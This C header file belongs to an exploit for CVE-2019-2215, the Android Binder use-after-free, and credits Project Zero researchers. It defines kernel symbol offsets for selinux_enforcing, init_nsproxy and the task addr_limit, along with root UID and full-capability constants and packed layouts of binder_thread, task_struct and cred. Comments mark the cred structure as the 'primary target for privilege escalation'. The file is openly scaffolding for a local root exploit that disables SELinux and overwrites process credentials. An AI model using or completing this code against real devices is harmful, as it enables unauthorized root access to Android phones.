/*
 * ╔═══════════════════════════════════════════════════════════╗
 * ║  CVE-2019-2215 Android Binder Use-After-Free Exploit      ║
 * ║  Common Definitions and Data Structures                   ║
 * ╚═══════════════════════════════════════════════════════════╝
 *
 * References:
 * - https://bugs.chromium.org/p/project-zero/issues/detail?id=1942
 * - https://googleprojectzero.blogspot.com/2019/11/bad-binder-android-in-wild-exploit.html
 * - https://groups.google.com/d/msg/syzkaller-bugs/QyXdgUhAF50/g-FXVo1OAwAJ
 * 
 * Credits:
 * - Maddie Stone (@maddiestone) - Project Zero
 * - Jann Horn (@tehjh) - Project Zero
 */

#pragma once
#ifndef __COMMON_H__
#define __COMMON_H__

//======================================================
// SYSTEM INCLUDES
//======================================================
#include <errno.h>
#include <fcntl.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/epoll.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#include <sys/socket.h>
#include <sys/uio.h>
#include <sys/user.h>
#include <sys/wait.h>
#include <unistd.h>

//======================================================
// LOGGING MACROS
//======================================================
#define INFO(...) printf(__VA_ARGS__)
#define ERR(...) printf(__VA_ARGS__)

//======================================================
// KERNEL OFFSETS AND CONSTANTS
//======================================================
// Task structure offsets
#define OFFSET_TASK_STRUCT_ADDR_LIMIT 0xA18

// UID/GID constants
#define GLOBAL_ROOT_UID        ((uint32_t)0)
#define GLOBAL_ROOT_GID        ((uint32_t)0)
#define SECUREBITS_DEFAULT     ((uint32_t)0x00000000)

// Capability sets
#define CAP_EMPTY_SET          ((uint64_t)0)
#define CAP_FULL_SET           ((uint64_t)0x3FFFFFFFFF)

/*
 * Kernel symbol offsets derived from System.map:
 * 
 * ffffffff80200000 T _stext
 * ffffffff816acfe8 B selinux_enforcing
 * ffffffff81433ac0 D init_nsproxy
 */

// Offset from kernel base to init_nsproxy
#define SYMBOL_OFFSET_init_nsproxy    ((ptrdiff_t)0x1233ac0)

// Offset from kernel base to selinux_enforcing
// Note: This offset might change between kernel builds.
// If SELinux patching fails, update this offset.
#define SYMBOL_OFFSET_selinux_enforcing ((ptrdiff_t)0x14acfe8)

//======================================================
// KERNEL DATA STRUCTURES
//======================================================

/**
 * Binder thread structure
 * Used to understand memory layout for exploitation
 */
struct binder_thread {
    uint8_t junk1[160];  /* 0x00 - 0xa0 */
    uint8_t wait[24];    /* 0xa0 - 0xb8 - Key structure for exploitation */
    uint8_t junk2[224];  /* 0xb8 - 0x198 */
} __attribute__((packed)); /* total size: 0x198 */

/**
 * Task structure - represents a process in the kernel
 * Contains critical process information we need to modify
 */
struct task_struct {
    uint8_t junk1[1256]; /* 0x000 - 0x4e8 */
    pid_t pid;           /* 0x4e8 - 0x4ec - Process ID */
    uint8_t junk2[412];  /* 0x4ec - 0x688 */
    uint64_t cred;       /* 0x688 - 0x690 - Credentials pointer */
    uint8_t junk3[48];   /* 0x690 - 0x6c0 */
    uint64_t nsproxy;    /* 0x6c0 - 0x6c8 - Namespace proxy pointer */
    uint8_t junk4[1944]; /* 0x6c8 - 0xe60 */
} __attribute__((packed)); /* total size: 0xe60 */

/**
 * Credentials structure - stores process privileges
 * This is our primary target for privilege escalation
 */
struct cred {
    int32_t usage;             /* 0x00 - 0x04 - Reference counter */
    uint32_t uid;              /* 0x04 - 0x08 - User ID */
    uint32_t gid;              /* 0x08 - 0x0c - Group ID */
    uint32_t suid;             /* 0x0c - 0x10 - Saved UID */
    uint32_t sgid;             /* 0x10 - 0x14 - Saved GID */
    uint32_t euid;             /* 0x14 - 0x18 - Effective UID */
    uint32_t egid;             /* 0x18 - 0x1c - Effective GID */
    uint32_t fsuid;            /* 0x1c - 0x20 - FS UID */
    uint32_t fsgid;            /* 0x20 - 0x24 - FS GID */
    uint32_t securebits;       /* 0x24 - 0x28 - POSIX capabilities */
    uint64_t cap_inheritable;  /* 0x28 - 0x30 - Inheritable capabilities */
    uint64_t cap_permitted;    /* 0x30 - 0x38 - Permitted capabilities */
    uint64_t cap_effective;    /* 0x38 - 0x40 - Effective capabilities */
    uint64_t cap_bset;         /* 0x40 - 0x48 - Capability bounding set */
    uint64_t cap_ambient;      /* 0x48 - 0x50 - Ambient capabilities */
    uint8_t junk2[40];         /* 0x50 - 0x78 */
    void *security;            /* 0x78 - 0x80 - Security context */
    uint8_t junk3[40];         /* 0x80 - 0xa8 */
} __attribute__((packed)); /* total size: 0xa8 */

// Banner text displayed at start
#define BANNER \
"╔═══════════════════════════════════════════════════════════╗\n"\
"║  CVE-2019-2215: Android Binder Use-After-Free Exploit     ║\n"\
"║                                                           ║\n"\
"╚═══════════════════════════════════════════════════════════╝\n\n"

#endif // __COMMON_H__